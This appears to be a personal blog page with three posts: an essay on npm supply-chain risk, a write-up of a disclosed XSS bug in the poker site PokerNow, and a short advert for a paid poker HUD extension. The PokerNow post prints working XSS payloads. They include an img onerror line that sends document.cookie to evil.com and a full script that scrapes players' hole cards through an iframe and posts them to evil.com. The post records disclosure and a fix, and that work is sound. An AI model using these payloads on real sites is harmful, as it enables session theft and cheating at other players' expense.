Kevin Roleke

[email protected]

github.com/kevinroleke

npm: How did we get here?

Published 2025-09-02

As of July 31, 2025 there are... let's see...

npm i all-the-package-names
node -e 'console.log(require("all-the-package-names").length)'
3532585

3,532,585 packages published in the npmjs registry. This includes the all-the-package-names package and its four dependencies, is-number, tap-spec, tape and all-the-package-repos.

Does that seem a little ridiculous that such a simple library, a list of all npm packages, has four dependencies? The answer to this rhetorical question becomes far more clear when you consider the dependencies of those dependencies.

npm i --include=dev # 3 "critical vulnerabilities" detected btw
ls node_modules
all-the-package-repos        es-define-property        is-arguments             minimist                    side-channel-list
ansi-regex                   es-errors                 isarray                  mock-property               side-channel-map
ansi-styles                  es-get-iterator           is-array-buffer          object-assign               side-channel-weakmap
array-buffer-byte-length     es-object-atoms           is-async-function        object.assign               split
arraybuffer.prototype.slice  es-set-tostringtag        is-bigint                object-inspect              stop-iteration-iterator
array.prototype.every        es-to-primitive           is-boolean-object        object-is                   string_decoder
async-function               figures                   is-callable              object-keys                 string.prototype.trim
available-typed-arrays       for-each                  is-core-module           once                        string.prototype.trimend
balanced-match               fs.realpath               is-data-view             own-keys                    string.prototype.trimstart
brace-expansion              function-bind             is-date-object           parse-ms                    strip-ansi
buffer-shims                 function.prototype.name   is-finalizationregistry  path-is-absolute            supports-color
call-bind                    functions-have-names      is-finite                path-parse                  supports-preserve-symlinks-flag
call-bind-apply-helpers      get-intrinsic             is-generator-function    plur                        tape
call-bound                   get-package-type          is-map                   possible-typed-array-names  tap-out
chalk                        get-proto                 is-negative-zero         pretty-ms                   tap-spec
concat-map                   get-symbol-description    is-number                process-nextick-args        through
core-util-is                 glob                      is-number-object         readable-stream             through2
count-array-values           globalthis                is-regex                 re-emitter                  trim
data-view-buffer             gopd                      is-set                   reflect.getprototypeof      typed-array-buffer
data-view-byte-length        has-ansi                  is-shared-array-buffer   regexp.prototype.flags      typed-array-byte-length
data-view-byte-offset        has-bigints               is-string                repeat-string               typed-array-byte-offset
deep-equal                   has-dynamic-import        is-symbol                resolve                     typed-array-length
defined                      hasown                    is-typed-array           safe-array-concat           unbox-primitive
define-data-property         has-property-descriptors  is-weakmap               safe-buffer                 util-deprecate
define-properties            has-proto                 is-weakref               safe-push-apply             which-boxed-primitive
dotignore                    has-symbols               is-weakset               safe-regex-test             which-builtin-type
dunder-proto                 has-tostringtag           @ljharb                  set-function-length         which-collection
duplexer                     inflight                  lodash                   set-function-name           which-typed-array
es-abstract                  inherits                  math-intrinsics          set-proto                   wrappy
escape-string-regexp         internal-slot             minimatch                side-channel                xtend

Wtf! That's one-hundred-and-fifty packages!2 To be fair, these are developer dependencies which are only required for contributors to develop, build and release the all-the-package-names package; regardless, this is clearly an issue.

These packages are authored by 19 unique developers (in addition to 5 unattributed packages). Do you really trust the author of the isarray package not to run malicious code on your computer? How about the author of the escape-string-regex package? Do you trust them not to sell the package to a malicious actor, or to get phished?

The answer to these questions for the vast majority of JavaScript developers should be no; not because the authors of the aforementioned packages are necessarily malicious (they are likely not), but because you simply don't know how trustworthy these packages are until you investigate. And let's be honest... you're not investigating.

A BRIEF HISTORY OF PACKAGE MANAGEMENT

In the beginning there was UNIX. Any program that wasn't included with the operating system would have to be installed by downloading and extracting an archive, then running a ./configure script and finally make. This got annoying real fast.

Then came DPKG, likely the oldest package manager still in use today. When it was released by The Debian Project in 1993, DPKG had no ability to deal with dependency resolution or remote repositories. These shortcomings would later be addressed with the release of APT in 1998. Today when we think of a package manager, we think of something like APT, which can resolve and fetch dependencies from a remote repository.

While DPKG and other package managers for operating system were being developed, the first large scale ecosystem-specific code repositories started coming online, notably CTAN for TeX and later CPAN for Perl (both are still in use today).

CPAN is really the first thing that resembles npm. It has one community-open unified repository (for the most part) and a command line utility for searching, downloading and publishing packages.

An early attempt at creating a package manager for JavaScript was JSAN, of course, based on CPAN. JSAN was released four years before NodeJS and the advent of JavaScript for the backend, which is possibly why it never picked up any real steam.

This finally brings us around to npm, which was released in January 2010 to serve as the package manager and registry for the newly released NodeJS.

HOW DID WE GET HERE?

THE BEGINNINGS

When Isaac Schlueter pushed the first commit to the npm git repository, there was no registry as we know it today. Packages came from a JSON file in this git repo, which has sadly been lost to time.

This system was quickly replaced with a CouchDB app. At the time, anyone could publish to the registry without authentication and override anyone else's packages. The current iteration of the npm registry is a more secure and distributed version of this original CouchDB system.

FIRST PACKAGE

Contrary to the answer provided by the little AI box when you type "what was the first npm package?" into Google, the first package published was actually abbrev, not npm itself.1

PACKAGES OVER TIME

Due to changes to the npm registry over the last decade-and-a-half, it's hard to get exact data on the historical package count. These numbers are rough estimates and have been compiled from various blog posts, tweets and git commits.

The npm registry is really big3,4. This makes some sense, being that JavaScript is, much to my chagrin, the most used programming language.

SO WHAT?

It's tempting to scoff at this number and conclude that package count alone is indicative of something bad. First, let's put it into perspective against some other popular software registries:

We can clearly see that npm is more or less on par with these other registries in terms of raw package count, even being completely eclipsed by Maven Central. So why does npm have such a terrible security reputation? Let's look at transitive dependencies.

These are the median number of transitive dependencies for a few popular registries, calculated by GitHub in 2020:5

GitHub didn't have any data for transitive Java dependencies in the Maven Central repository, so I wrote a script to analyze 10,000 random packages (in 2025):

This is our first glaring issue.

WHY SO MANY DEPENDENCIES?

Ultimately, this comes down to two things: the standard library and developer culture.

Compared to languages like Java or Go, Node has a tiny standard library. In the last decade or so, we've seen massive improvement on this first problem with the addition of native FS, buffers, async hooks, fetch, etc. However, we are left over with the rot of obsolete packages like lodash, node-fetch, request, bluebird, and moment, which were previously very useful.

The main problem though, is micropackaging, a philosophy that has completely taken over the JavaScript ecosystem. Thousands of packages on the registry, each with millions of downloads per week consist solely of one liner functions. Rather than writing a quick utility function, JavaScript developers prefer to include a third party package.

Additionally, thousands of spam packages can be attributed to perverse incentives from the Tea protocol and web developers attempting to pad their digital resume with claims of maintaining several popular packages.

THE CONSEQUENCES

The supply chain threat is not just theoretical; it's absolutely epidemic to the JavaScript ecosystem. Personally, I opt to do any NodeJS development in a virtual machine.

There are countless examples of hacked package maintainers, packages being sold to malicious actors, and even malware being placed by the legitimate author. Everything from "protestware" to crypto miners to multi platform RATs are sneaking into your machine via npm install. The smart malware will even steal your registry token from .npmrc to infect your packages.

Let's take a look at some famous examples.

In July of 2025, a clever hacker noticed that npmjs.org had no SPF record configured. They proceeded to take advantage of this with a phishing campaign targeting maintainers of some popular packages. The packages eslint-config-prettier, eslint-plugin-prettier, synckit, @pkgr/core, napi-postinstall, got-fetch, and is, with a collective weekly download count of 96,063,394 were promptly compromised with malware targeting Windows.8

One particularly infuriating case is the Peacenotwar "protestware." This malware was planted by the real maintainer of the node-ipc package, and it's goal was to wipe the computers of anyone with an IP address in Belarus or Russia. A good reminder that people are not their governments, and that IP geolocation is not accurate. Also, believe it or not, this guy faced zero consequences and is still the maintainer of node-ipc and various other packages.7

The npm supply chain tactic also seems to be a favorite among hackers linked to the DPRK.9 In 2023, the Lazarus APT compromised connect-kit, a package used for connecting JavaScript dApps to Ledger cryptocurrency hardware wallets. Despite the malicious code only being live for 5 hours, they managed to swipe over $600,000 worth of cryptocurrency from unsuspecting users.10

There are so... so many more examples of compromised npm packages. I invite you to just google "npm supply chain" and see how many results pop up.

WHAT CAN BE DONE?

The registry has already implemented mandatory MFA for package maintainers, but that's not cutting it. I suggest that npm implements the following changes:

And perhaps more importantly, developers need to stop being lazy. You don't need a package to check if a number is even!

It's past time to stop carelessly running npm install.

SOURCES

  1. https://blog.izs.me/2017/02/my-first-npm-publish/
  2. https://github.com/nice-registry/all-the-package-names
  3. https://blog.npmjs.org/post/615388323067854848/so-long-and-thanks-for-all-the-packages.html
  4. https://nodesource.com/blog/npm-is-massive
  5. https://octoverse.github.com/2020/static/github-octoverse-2020-security-report.pdf
  6. https://blog.npmjs.org/post/612764866888007680/next-phase-montage
  7. https://en.wikipedia.org/wiki/Peacenotwar
  8. https://socket.dev/blog/npm-is-package-hijacked-in-expanding-supply-chain-attack
  9. https://socket.dev/blog/north-korean-contagious-interview-campaign-drops-35-new-malicious-npm-packages
  10. https://www.nodejs-security.com/blog/north-korea-malware-on-npm-and-ledger-connect-kit-crypto-heist

I Can See Your Hole Cards: Hacking PokerNow

Published 2024-06-13

PokerNow

Due to the high-stakes nature and complexity of poker games such as No Limit Hold'em and Pot Limit Omaha, there are only a handful of providers offering online poker software.

PokerNow is a popular free service created by Samuel Simões where anyone can create a table and play with their friends.

Obviously, the integrity of the game is of upmost importance to players.

So let's see what we can do.

Digging In

I began looking at the Clubs section of the website, where users can host a page helping to manage underlying games, player accounts and balances.

Pop open devtools and...

PokerNow API Client

PokerNow API Client

Well that always makes my job a lot easier!

I've never looked forward to manaully deobfuscating webpack bundles.

renderClubPlayers(div, club) {
    if (club.config && club.config.leaderboard) return this.renderLeaderboard(div, club)

    let html = []

    html.push(`
      ${this.subheader('Club Players')}
      <div class="card-body p-grid-container section-body">
      `)

    for (let player of club.players) {
      let row2 = ''
      if (player.hasOwnProperty('chips_balance')) {
        row2 = `<div id="p-stack-${player.user_id}">${this.formatted(player.chips_balance, club.use_cents, false, player.credit_limit)}</div>`
      }
      row2 += `<span class="item-subtext" id="player-role-${player.user_id}">${player.club_role}</span>`
      html.push(`
        <div class="item">
          <a class="nomarkupblack" href="#" onclick="club.showPlayer('${player.user_id}');return false;">
          <table>
            <tr>
              <td nowrap>${this.profileLogo(player, 'profile-image-small', 'profile-image-placeholder-small')}</td>
              <td>
                <b>${player.display_name}</b><br>
                ${row2}
        ...
      `)
    }

Who needs event listeners or proper templating? Just string together some HTML and through user input directly in there. We can probably find an XSS injection.

htmlEscape(str) {
    if (!str) return ''

    return str
      .replace(/&/g, '&amp;')
      .replace(/'/g, '&apos;')
      .replace(/"/g, '&quot;')
      .replace(/>/g, '&gt;')
      .replace(/</g, '&lt;');
}
...
<div class="tc2 bold">${club.htmlEscape(c.club_name)}</div>

Some user-controlled fields are run through a simple sanitizer similar to PHP's htmlentities. However, it's usage is sporadic and there are several instances of the player's display name or "network username" being passed without sanitization.

I would typically expect a username to not contain special characters like <, >, ', or ".

But look! I can actually put HTML tags in my username.

Here's it's escaped

Here it's escaped

Here our tag is executed!

Here our tag is executed!

And we officially have HTML injection!

Unfortunately for us, PokerNow usernames are limited to 14 characters. This is going to be a challenge to get anything useful... I searched around for really short XSS payloads but the absolute shortest I could find was <q oncut="<javascript>, which requires the user to cut and paste on the field. Not ideal.

After spending an hour attempting to craft the a useful payload, it's back to the hunt.

let buttons = []
if (!isMe) buttons.push(`<a href="#" class="btn btn-success btn-confirm-reject" onclick="club.approveWaitingUser('${this.club.id}', '${player.user_id}', '${player.username}');return false"><i class="fa fa-check fa-outlined"></i></a>`)
buttons.push(`<a href="#" class="btn btn-danger btn-confirm-reject" onclick="club.rejectWaitingUser('${this.club.id}', '${player.user_id}', '${player.username}', ${isMe});return false"><i class="fa fa-times fa-outlined"></i></a>`)

These are buttons for the administrator of a club to accept or reject members. Looks like we also have the username injection here and we're already inside of a Javascript context.

',alert(47))//

BANG!

BANG!

Making Something Useful

Although exciting, that alert box isn't going to help out much.

We still need to work in a very constrained space with the 14 character limit, but at least we have a little room for Javascript now.

The goal is to include an external script from our server, which should be possible due to loose CSP rules.

Starting with this, we are a bit over the size limit.

fetch('https://my.server/x.js').then(data => data.text()).then(eval)

Thankfully PokerNow uses jQuery, so the above can be truncated to:

$.getScript('https://my.server/x.js')

And using a cool unicode trick from 1lastBr3ath, we can shrink the URL to something like ㎠.㎺ (only three characters!) which will be expanded to cm2.pw.

$.getScript('//㎠.㎺')

Damn. Still too long... But we can break up the payload into several users like so:

USER1: ',x="getSc")//
USER2: ',y="ript")//
USER3: ',z=$[x+y])//
USER4: ',z('//㎠.㎺'))//

Although it would work, this method requires the club admin to click reject or approve on each account in order. To make this more likely to happen, we can glitch the buttons so that the accounts are never actually removed or approved. Our accounts will annoyingly linger in the queue, as our code is run in the background.

message: `Are you sure you want to <b>APPROVE</b> adding <b>${club.htmlEscape(username)}</b> to the club?`,

Remember the htmlEscape function? It calls String.replace on the input. If we pass something like a Number or Function, the execution will error out and stop.

The cleanest way I found to do this was by appending .at to the closing quote, making the parameter reference to the String.at function.

'.at,alert())//

Now we wait for the admin to frustratingly click "reject" on all four of our spammy accounts to collect his creds.

Still boring!

The admin needing to click on a bunch of accounts repeatedly is not ideal. We want automatic execution when you hit the page. And we really want it to affect normal players as well as admins.

Let's try some other injection points.

Club slug (URL)

<a class="nomarkupblack" href="/clubs/${c.slug}">

This validation is only client-side!

This validation is only client-side!

Works! Although our club URL is glitched

Works! Although our club URL is glitched

Transaction ledger descriptions

2496       html.push(`<td>${desc}</td>`)

Littered with injections!

Littered with injections!

Spread to unprivledged members

Spread it to unprivledged members

Club description

let description = options.description || '' // this.club.description || ''
if (description) {
  description = `<div class="title-subtext mt8">${description}</div>`
}

let html = `
  <table width='100%'>
    <tr>

The club description field is also completely unfiltered before being shot into the HTML! The club admin has full control over this field and there is no character limit. It is loaded on every club lobby page.

Testing with a basic XSS payload, the theory is confirmed. This auto-executes after visiting the club page, whether you're a member or admin.

<img src=x onerror="alert('no longer constrained to 14 characters.')" />
<img src=x onerror="fetch(`//evil.com/${btoa(document.cookie)}`)" />

Peeping hole cards

Now for some fun. How can we see them hole cards?

Our script is only executed on the club lobby page, not the game rooms/tables. Which is where we need to be! Our opponents' hole cards are accessible in the DOM on the table page.

Perhaps not the simplest method, but this is what came to mind:

What if instead of a link to the table opening in a new tab, we replace the screen with an iframe containing the table page and pull data from it's contentWindow?

Typically the top window containing an iframe cannot access it's DOM, but we are iframing a page on the same subdomain so SOP need not apply.

document.querySelector('iframe').contentWindow.document.querySelectorAll('.you-player .table-player-cards:not(.hide) .card');

Nice!

Full Payload

Here's the idea:

  1. Replace every table link with a button
  2. Onclick: inserts an iframe to the table, covering the whole screen
  3. Setup a loop to extract the hole cards through the iframe
  4. Send the data off to our server
  5. Profit
for (const ele of document.querySelectorAll('.btn.btn-primary.btn-md')) {
    const url = ele.href;
    ele.href = "#"
    ele.target = ""
    ele.onclick = () => {
        let f = document.createElement('iframe');
        f.src = url;
        f.style = 'z-index: 9999; width: 100vw; height: 100vh; position: absolute; left: 0; top: 0;';
        f.onload = () => {
            let cw = document.querySelector('iframe').contentWindow;
            setInterval(() => {
                const cards = cw.document.querySelectorAll('.you-player .table-player-cards:not(.hide) .card');
                if (cards.length < 2) return;

                const dc = [cards[0].textContent.substr(0, 2), cards[1].textContent.substr(0, 2)];
                const username = cw.document.querySelector('.username').textContent;
                fetch("//evil.com/"+username+"/"+dc.join('_'));
            }, 1000);
        }
        document.querySelector('body').appendChild(f);
    };
}

Wrap it up into a payload.

<img src=x onerror="eval(atob(`Zm9yICh...07Cn0K`))" />

Aaaannndd, nice!

Now, every player who joins our table will have their hole cards periodically forwarded to my server.

Time to make some hero calls with J4o :)

2024-06-12 Disclosed to PokerNow

2024-06-12 Patch in progress

2024-06-13 Fixed

PokerNow Assistant

Published 2024-06-13

PokerNow Assistant

A smart HUD for the popular poker with friends website, PokerNow.

Features

The price is 8.99/m. If you know what you are doing, this price is very reasonable! If you don't expect this extension to deliver you value worth at least $8.99 per month, don't buy it.